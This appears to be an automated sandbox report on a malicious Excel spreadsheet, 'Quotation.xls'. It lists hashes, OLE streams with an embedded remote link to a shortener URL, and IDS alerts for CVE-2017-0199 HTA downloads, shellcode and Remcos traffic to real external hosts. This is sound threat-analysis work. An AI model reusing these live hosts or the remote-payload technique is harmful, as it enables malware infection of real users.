SSDEEP:	24576:P29iKjVBuNCgZGCTsW8wtwc4DFrLdDa4r:+UKjVBuNFT582wcsvVa4
MD5:	B94631477A7949939C13CA1B9E61FB62
SHA1:	6C708AB62656882E849199C13F708E6BE403AA31
SHA-256:	7B923F157A961FA88B8E59C810B11DC56985912FB1087C3350268B1DE985DE86
SHA-512:	7586EEAEEBE17A5C17C8A6CE4E394DDD4043803E1E5879DE547CE05B9106B4C50D5876A1EB5CFFD9AB8F98BA70C6F3F2DE1B96EA272498174E1E874A3DA34A86
Malicious:	true
Preview:	......................>...................................-...................................................o.......q.......s.......u...............................................................................................................................................................................................................................................................................................................................................................................................`................................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

Static File Info

General

File type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Thu Jul 25 17:59:41 2024, Security: 1
Entropy (8bit):	7.9786557114017915
TrID:	Microsoft Excel sheet (30009/1) 47.99% Microsoft Excel sheet (alternate) (24509/1) 39.20% Generic OLE2 / Multistream Compound File (8008/1) 12.81%
File name:	Quotation.xls
File size:	1'129'472 bytes
MD5:	36cace5745dcb32c2ab03ca4ba433394
SHA1:	2e479ac4ea9b158f39093dded3b55c360a1f2082
SHA256:	c2f6ea297ebee1570036db204177fde0e0263006637806e9b28365bb4ef14d7c
SHA512:	e2dd193741bb1f9afc3a954bba2ee75a4df1797a487366ad8577a23366f87cb946957f258ab5b493b15abcf351da294e1bca8780765c855ad9a72aed4ed058af
SSDEEP:	24576:d29iKjVBuNCgP4G2ycKiEb+S81doGvdKLQy2H7T1:0UKjVBuND4G2ciEb+SNIdOh
TLSH:	3D3523A1BE714B4AEA0A84395DF4EE92267D7C665470E8133A307B2E543577523C33EC
File Content Preview:	........................>...................................K...................................................M.......o.......q.......s.......u..............................................................................................................

File Icon


Icon Hash:	276ea3a6a6b7bfbf

Static OLE Info

General

Document Type:	OLE
Number of OLE Files:	1

OLE File "Quotation.xls"

Indicators

Has Summary Info:
Application Name:	Microsoft Excel
Encrypted Document:	True
Contains Word Document Stream:	False
Contains Workbook/Book Stream:	True
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:	False
Flash Objects Count:	0
Contains VBA Macros:	True

Summary

Code Page:	1252
Author:
Last Saved By:
Create Time:	2006-09-16 00:00:00
Last Saved Time:	2024-07-25 16:59:41
Creating Application:	Microsoft Excel
Security:	1

Document Summary

Document Code Page:	1252
Thumbnail Scaling Desired:	False
Contains Dirty Links:	False
Shared Document:	False
Changed Hyperlinks:	False
Application Version:	786432

Streams with VBA

VBA File Name: Sheet1.cls, Stream Size: 977

General
Stream Path:	_VBA_PROJECT_CUR/VBA/Sheet1
VBA File Name:	Sheet1.cls
Stream Size:	977
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . & h Y . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 . -
Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 26 68 59 f1 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

VBA File Name: Sheet2.cls, Stream Size: 977

General
Stream Path:	_VBA_PROJECT_CUR/VBA/Sheet2
VBA File Name:	Sheet2.cls
Stream Size:	977
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . & h J 5 . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 .
Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 26 68 4a 35 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

VBA File Name: Sheet3.cls, Stream Size: 977

General
Stream Path:	_VBA_PROJECT_CUR/VBA/Sheet3
VBA File Name:	Sheet3.cls
Stream Size:	977
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . & h ? . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 . -
Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 26 68 3f e1 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

VBA File Name: ThisWorkbook.cls, Stream Size: 985

General
Stream Path:	_VBA_PROJECT_CUR/VBA/ThisWorkbook
VBA File Name:	ThisWorkbook.cls
Stream Size:	985
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . & h . . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 1 . 9 . -
Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 26 68 12 bf 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Streams

Stream Path: \x1CompObj, File Type: data, Stream Size: 114

General
Stream Path:	\x1CompObj
CLSID:
File Type:	data
Stream Size:	114
Entropy:	4.25248375192737
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . . . F & . . . M i c r o s o f t O f f i c e E x c e l 2 0 0 3 W o r k s h e e t . . . . . B i f f 8 . . . . . E x c e l . S h e e t . 8 . 9 q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 20 08 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 26 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 45 78 63 65 6c 20 32 30 30 33 20 57 6f 72 6b 73 68 65 65 74 00 06 00 00 00 42 69 66 66 38 00 0e 00 00 00 45 78 63 65 6c 2e 53 68 65 65 74 2e 38 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 244

General
Stream Path:	\x5DocumentSummaryInformation
CLSID:
File Type:	data
Stream Size:	244
Entropy:	2.889430592781307
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , 0 . . . . . . . . . . . . . . H . . . . . . . P . . . . . . . X . . . . . . . ` . . . . . . . h . . . . . . . p . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . S h e e t 1 . . . . . S h e e t 2 . . . . . S h e e t 3 . . . . . . . . . . . . . . . . . W o r k s h e e t s . . . . . . . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 c4 00 00 00 08 00 00 00 01 00 00 00 48 00 00 00 17 00 00 00 50 00 00 00 0b 00 00 00 58 00 00 00 10 00 00 00 60 00 00 00 13 00 00 00 68 00 00 00 16 00 00 00 70 00 00 00 0d 00 00 00 78 00 00 00 0c 00 00 00 a1 00 00 00 02 00 00 00 e4 04 00 00

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 200

General
Stream Path:	\x5SummaryInformation
CLSID:
File Type:	data
Stream Size:	200
Entropy:	3.3020681057018666
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . + ' 0 . . . . . . . . . . . . . . @ . . . . . . . H . . . . . . . T . . . . . . . ` . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M i c r o s o f t E x c e l . @ . . . . \| . # . @ . . . Y . . . . . . . . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 98 00 00 00 07 00 00 00 01 00 00 00 40 00 00 00 04 00 00 00 48 00 00 00 08 00 00 00 54 00 00 00 12 00 00 00 60 00 00 00 0c 00 00 00 78 00 00 00 0d 00 00 00 84 00 00 00 13 00 00 00 90 00 00 00 02 00 00 00 e4 04 00 00 1e 00 00 00 04 00 00 00

Stream Path: MBD00034653/\x1CompObj, File Type: data, Stream Size: 99

General
Stream Path:	MBD00034653/\x1CompObj
CLSID:
File Type:	data
Stream Size:	99
Entropy:	3.631242196770981
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . ! . . . M i c r o s o f t O f f i c e E x c e l W o r k s h e e t . . . . . E x c e l M L 1 2 . . . . . 9 q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 21 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 45 78 63 65 6c 20 57 6f 72 6b 73 68 65 65 74 00 0a 00 00 00 45 78 63 65 6c 4d 4c 31 32 00 00 00 00 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: MBD00034653/Package, File Type: Microsoft Excel 2007+, Stream Size: 557009

General
Stream Path:	MBD00034653/Package
CLSID:
File Type:	Microsoft Excel 2007+
Stream Size:	557009
Entropy:	7.972393889771479
Base64 Encoded:	True
Data ASCII:	P K . . . . . . . . . . ! . . . . . . . . . . [ C o n t e n t _ T y p e s ] . x m l . ( . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	50 4b 03 04 14 00 06 00 08 00 00 00 21 00 d4 fe 94 9a b9 01 00 00 c0 06 00 00 13 00 d1 01 5b 43 6f 6e 74 65 6e 74 5f 54 79 70 65 73 5d 2e 78 6d 6c 20 a2 cd 01 28 a0 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: MBD00034654/\x1Ole, File Type: data, Stream Size: 338

General
Stream Path:	MBD00034654/\x1Ole
CLSID:
File Type:	data
Stream Size:	338
Entropy:	6.411144727611267
Base64 Encoded:	False
Data ASCII:	. . . . 7 y . U G . / . . . . . . . . . . . . . . . y . . . K . . . . h . t . t . p . : . / . / . t . n . y . . . w . t . f . / . j . j . J . s . P . X . . . 0 . ? ! A . . 1 I . . 9 . . i . B l . \| 3 ) [ L K i . w b 6 1 . j u . . U ; " : = . . . _ k J 5 J 5 . g 1 d e D ? t V . o U ~ w h . . G 3 2 . . . [ . . s ~ . . . $ a . u . - S . \\ , . . . . . . . . . . . . . . . . . . . . L . X . e . h . p . 8 . t . N . X . 2 . . . u . p ! z ( ^ ` . Y C d T . .
Data Raw:	01 00 00 02 37 79 0d 55 47 04 f6 2f 00 00 00 00 00 00 00 00 00 00 00 00 dc 00 00 00 e0 c9 ea 79 f9 ba ce 11 8c 82 00 aa 00 4b a9 0b d8 00 00 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 74 00 6e 00 79 00 2e 00 77 00 74 00 66 00 2f 00 6a 00 6a 00 4a 00 73 00 50 00 58 00 00 00 30 07 3f db d3 fe b2 bd 21 41 16 14 31 49 1f 94 ab 16 39 15 06 69 be d4 d7 08 42 af fc ff c9 6c ee dc 0d f2

Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 549837

General
Stream Path:	Workbook
CLSID:
File Type:	Applesoft BASIC program data, first line number 16
Stream Size:	549837
Entropy:	7.999325247179491
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . / . 6 . . . . . . . l L v 9 . I 3 c I C A D q _ . r j . # . $ > A . [ E . . . . . . . . . . ] . . . \\ . p . . i % . ] . . v o P b . . y : ' I . z . . 5 . . t v 5 . ; . " \| ' F . e . < . 4 . . . w . w . . . = 2 K B . . . o a . . . y . . . = . . . . \| . . . a ~ x 1 n H . . . . . . . = L . . . . . . . . w . . . . . . . = . . . ` 4 . . . . . h L @ . . . . . . . j - " . . . # . . . . w . . . . . . . 1 . . . . 9 a 7 c . . Z . ) C 1 . . . . . o . * D m h . . . V V _ 1 . . . {
Data Raw:	09 08 10 00 00 06 05 00 ab 1f cd 07 c1 00 01 00 06 04 00 00 2f 00 36 00 01 00 01 00 01 00 96 9d a0 6c 94 fa 98 4c 76 39 17 49 33 80 a7 63 49 43 41 44 71 5f 0b ec 72 6a a7 07 23 01 24 3e d8 41 17 5b e5 45 7f ff b7 c9 f1 07 11 fc bd ce e1 00 02 00 b0 04 c1 00 02 00 5d b5 e2 00 00 00 5c 00 70 00 e5 1f a7 69 25 7f a3 a3 fd 5d eb b7 0c 12 fe 84 76 6f 50 a7 eb b2 62 c2 d1 ab 10 79 3a 27

Stream Path: _VBA_PROJECT_CUR/PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 523

General
Stream Path:	_VBA_PROJECT_CUR/PROJECT
CLSID:
File Type:	ASCII text, with CRLF line terminators
Stream Size:	523
Entropy:	5.242959383129243
Base64 Encoded:	True
Data ASCII:	I D = " { 4 9 6 7 3 D F A - E C 5 0 - 4 F D 1 - B 6 7 0 - C F 2 7 1 8 8 A 2 0 1 1 } " . . D o c u m e n t = T h i s W o r k b o o k / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S h e e t 1 / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S h e e t 2 / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S h e e t 3 / & H 0 0 0 0 0 0 0 0 . . N a m e = " V B A P r o j e c t " . . H e l p C o n t e x t I D = " 0 " . . V e r s i o n C o m p a t i b l e 3 2 = " 3 9 3 2 2 2 0 0 0 " . . C M G = " A 1 A 3 7 6 7 E 7 A 7 E 7 A 7 E 7
Data Raw:	49 44 3d 22 7b 34 39 36 37 33 44 46 41 2d 45 43 35 30 2d 34 46 44 31 2d 42 36 37 30 2d 43 46 32 37 31 38 38 41 32 30 31 31 7d 22 0d 0a 44 6f 63 75 6d 65 6e 74 3d 54 68 69 73 57 6f 72 6b 62 6f 6f 6b 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 44 6f 63 75 6d 65 6e 74 3d 53 68 65 65 74 31 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 44 6f 63 75 6d 65 6e 74 3d 53 68 65 65 74 32 2f 26 48 30 30 30

Stream Path: _VBA_PROJECT_CUR/PROJECTwm, File Type: data, Stream Size: 104

General
Stream Path:	_VBA_PROJECT_CUR/PROJECTwm
CLSID:
File Type:	data
Stream Size:	104
Entropy:	3.0488640812019017
Base64 Encoded:	False
Data ASCII:	T h i s W o r k b o o k . T . h . i . s . W . o . r . k . b . o . o . k . . . S h e e t 1 . S . h . e . e . t . 1 . . . S h e e t 2 . S . h . e . e . t . 2 . . . S h e e t 3 . S . h . e . e . t . 3 . . . . .
Data Raw:	54 68 69 73 57 6f 72 6b 62 6f 6f 6b 00 54 00 68 00 69 00 73 00 57 00 6f 00 72 00 6b 00 62 00 6f 00 6f 00 6b 00 00 00 53 68 65 65 74 31 00 53 00 68 00 65 00 65 00 74 00 31 00 00 00 53 68 65 65 74 32 00 53 00 68 00 65 00 65 00 74 00 32 00 00 00 53 68 65 65 74 33 00 53 00 68 00 65 00 65 00 74 00 33 00 00 00 00 00

Stream Path: _VBA_PROJECT_CUR/VBA/_VBA_PROJECT, File Type: data, Stream Size: 2644

General
Stream Path:	_VBA_PROJECT_CUR/VBA/_VBA_PROJECT
CLSID:
File Type:	data
Stream Size:	2644
Entropy:	3.9991265979317787
Base64 Encoded:	False
Data ASCII:	a . . . . . @ . . . . . . . . . . . . . . . . . . . . . . . . * . \\ . G . { . 0 . 0 . 0 . 2 . 0 . 4 . E . F . - . 0 . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . - . C . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 4 . 6 . } . # . 4 . . . 0 . # . 9 . # . C . : . \\ . P . R . O . G . R . A . ~ . 2 . \\ . C . O . M . M . O . N . ~ . 1 . \\ . M . I . C . R . O . S . ~ . 1 . \\ . V . B . A . \\ . V . B . A . 6 . \\ . V . B . E . 6 . . . D . L . L . # . V . i . s . u . a . l . . B . a . s . i . c . . F . o . r .
Data Raw:	cc 61 88 00 00 01 00 ff 09 40 00 00 09 04 00 00 e4 04 01 00 00 00 00 00 00 00 00 00 01 00 04 00 02 00 fa 00 2a 00 5c 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00 2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00 34 00 2e 00 30 00 23 00

Stream Path: _VBA_PROJECT_CUR/VBA/dir, File Type: data, Stream Size: 553

General
Stream Path:	_VBA_PROJECT_CUR/VBA/dir
CLSID:
File Type:	data
Stream Size:	553
Entropy:	6.381128031743399
Base64 Encoded:	True
Data ASCII:	. % . . . . . . . . 0 * . . . . p . . H . . . . d . . . . . . . V B A P r o j e c t . . 4 . . @ . . j . . . = . . . . r . . . . . . . . . z h . . . . J < . . . . . r s t d o l e > . . . s . t . d . o . l . e . . . h . % . ^ . . * \\ G { 0 0 0 2 0 4 3 0 - . . . . . C . . . . . . 0 0 4 . 6 } # 2 . 0 # 0 . # C : \\ W i n d . o w s \\ S y s W O W 6 4 \\ . e 2 . . t l b # O L E . A u t o m a t i . o n . ` . . E O f f D i c E O . f . i . c E . . E . 2 D F 8 D 0 4 C . - 5 B F A - 1 0 1 B - B D E 5 E A A C 4 . 2 E
Data Raw:	01 25 b2 80 01 00 04 00 00 00 01 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 82 02 00 64 e4 04 04 00 0a 00 1c 00 56 42 41 50 72 6f 6a 65 88 63 74 05 00 34 00 00 40 02 14 6a 06 02 0a 3d 02 0a 07 02 72 01 14 08 05 06 12 09 02 12 cb 7a b3 68 08 94 00 0c 02 4a 3c 02 0a 16 00 01 72 80 73 74 64 6f 6c 65 3e 02 19 00 73 00 74 00 64 00 6f 00 80 6c 00 65 00 0d 00 68 00 25 02 5e 00 03 2a 5c 47

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Source Port	Dest Port	Source IP	Dest IP
2024-07-26T09:29:59.517525+0200	TCP	2024449	ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl	49166	80	192.168.2.22	91.92.245.100
2024-07-26T09:30:09.356706+0200	TCP	2011803	ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected	80	49167	107.173.143.46	192.168.2.22
2024-07-26T09:30:09.273433+0200	TCP	2011803	ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected	80	49167	107.173.143.46	192.168.2.22
2024-07-26T09:30:09.273485+0200	TCP	2011803	ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected	80	49167	107.173.143.46	192.168.2.22
2024-07-26T09:30:09.273537+0200	TCP	2011803	ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected	80	49167	107.173.143.46	192.168.2.22
2024-07-26T09:29:59.517585+0200	TCP	2024197	ET EXPLOIT MSXMLHTTP Download of HTA (Observed in CVE-2017-0199)	80	49166	91.92.245.100	192.168.2.22
2024-07-26T09:29:57.196366+0200	TCP	2024449	ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl	49164	80	192.168.2.22	91.92.245.100
2024-07-26T09:29:57.196370+0200	TCP	2024197	ET EXPLOIT MSXMLHTTP Download of HTA (Observed in CVE-2017-0199)	80	49164	91.92.245.100	192.168.2.22
2024-07-26T09:30:09.273467+0200	TCP	2011803	ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected	80	49167	107.173.143.46	192.168.2.22
2024-07-26T09:30:08.658935+0200	TCP	2011803	ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected	80	49167	107.173.143.46	192.168.2.22
2024-07-26T09:30:09.544003+0200	TCP	2009080	ET MALWARE VMProtect Packed Binary Inbound via HTTP - Likely Hostile	80	49167	107.173.143.46	192.168.2.22
2024-07-26T09:30:16.371974+0200	TCP	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	49168	2558	192.168.2.22	23.95.60.82
2024-07-26T09:30:20.216815+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	49169	80	192.168.2.22	178.237.33.50
2024-07-26T09:30:09.273374+0200	TCP	2011803	ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected	80	49167	107.173.143.46	192.168.2.22
2024-07-26T09:30:09.356737+0200	TCP	2011803	ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected	80	49167	107.173.143.46	192.168.2.22

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 26, 2024 09:29:55.028450966 CEST	49163	80	192.168.2.22	188.114.96.3
Jul 26, 2024 09:29:55.033349037 CEST	80	49163	188.114.96.3	192.168.2.22
Jul 26, 2024 09:29:55.033447027 CEST	49163	80	192.168.2.22	188.114.96.3
Jul 26, 2024 09:29:55.033576965 CEST	49163	80	192.168.2.22	188.114.96.3
Jul 26, 2024 09:29:55.038393021 CEST	80	49163	188.114.96.3	192.168.2.22
Jul 26, 2024 09:29:56.272893906 CEST	80	49163	188.114.96.3	192.168.2.22
Jul 26, 2024 09:29:56.272974968 CEST	49163	80	192.168.2.22	188.114.96.3
Jul 26, 2024 09:29:56.284629107 CEST	49164	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:56.289411068 CEST	80	49164	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:56.289494991 CEST	49164	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:56.293190002 CEST	49164	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:56.297970057 CEST	80	49164	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:57.196281910 CEST	80	49164	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:57.196291924 CEST	80	49164	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:57.196296930 CEST	80	49164	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:57.196366072 CEST	49164	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:57.196369886 CEST	80	49164	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:57.196382999 CEST	80	49164	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:57.196400881 CEST	80	49164	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:57.196409941 CEST	80	49164	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:57.196418047 CEST	49164	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:57.196422100 CEST	80	49164	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:57.196433067 CEST	80	49164	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:57.196439981 CEST	80	49164	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:57.196449995 CEST	49164	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:57.196465969 CEST	49164	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:57.196496010 CEST	49164	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:57.201488972 CEST	80	49164	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:57.201514006 CEST	80	49164	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:57.201536894 CEST	49164	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:57.201554060 CEST	49164	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:57.283590078 CEST	80	49164	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:57.283616066 CEST	80	49164	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:57.283632994 CEST	80	49164	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:57.283649921 CEST	80	49164	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:57.283691883 CEST	49164	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:57.283719063 CEST	49164	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:57.288568974 CEST	80	49164	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:57.288592100 CEST	80	49164	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:57.288608074 CEST	80	49164	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:57.288624048 CEST	80	49164	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:57.288644075 CEST	49164	80	192.168.2.22	91.92.245.100
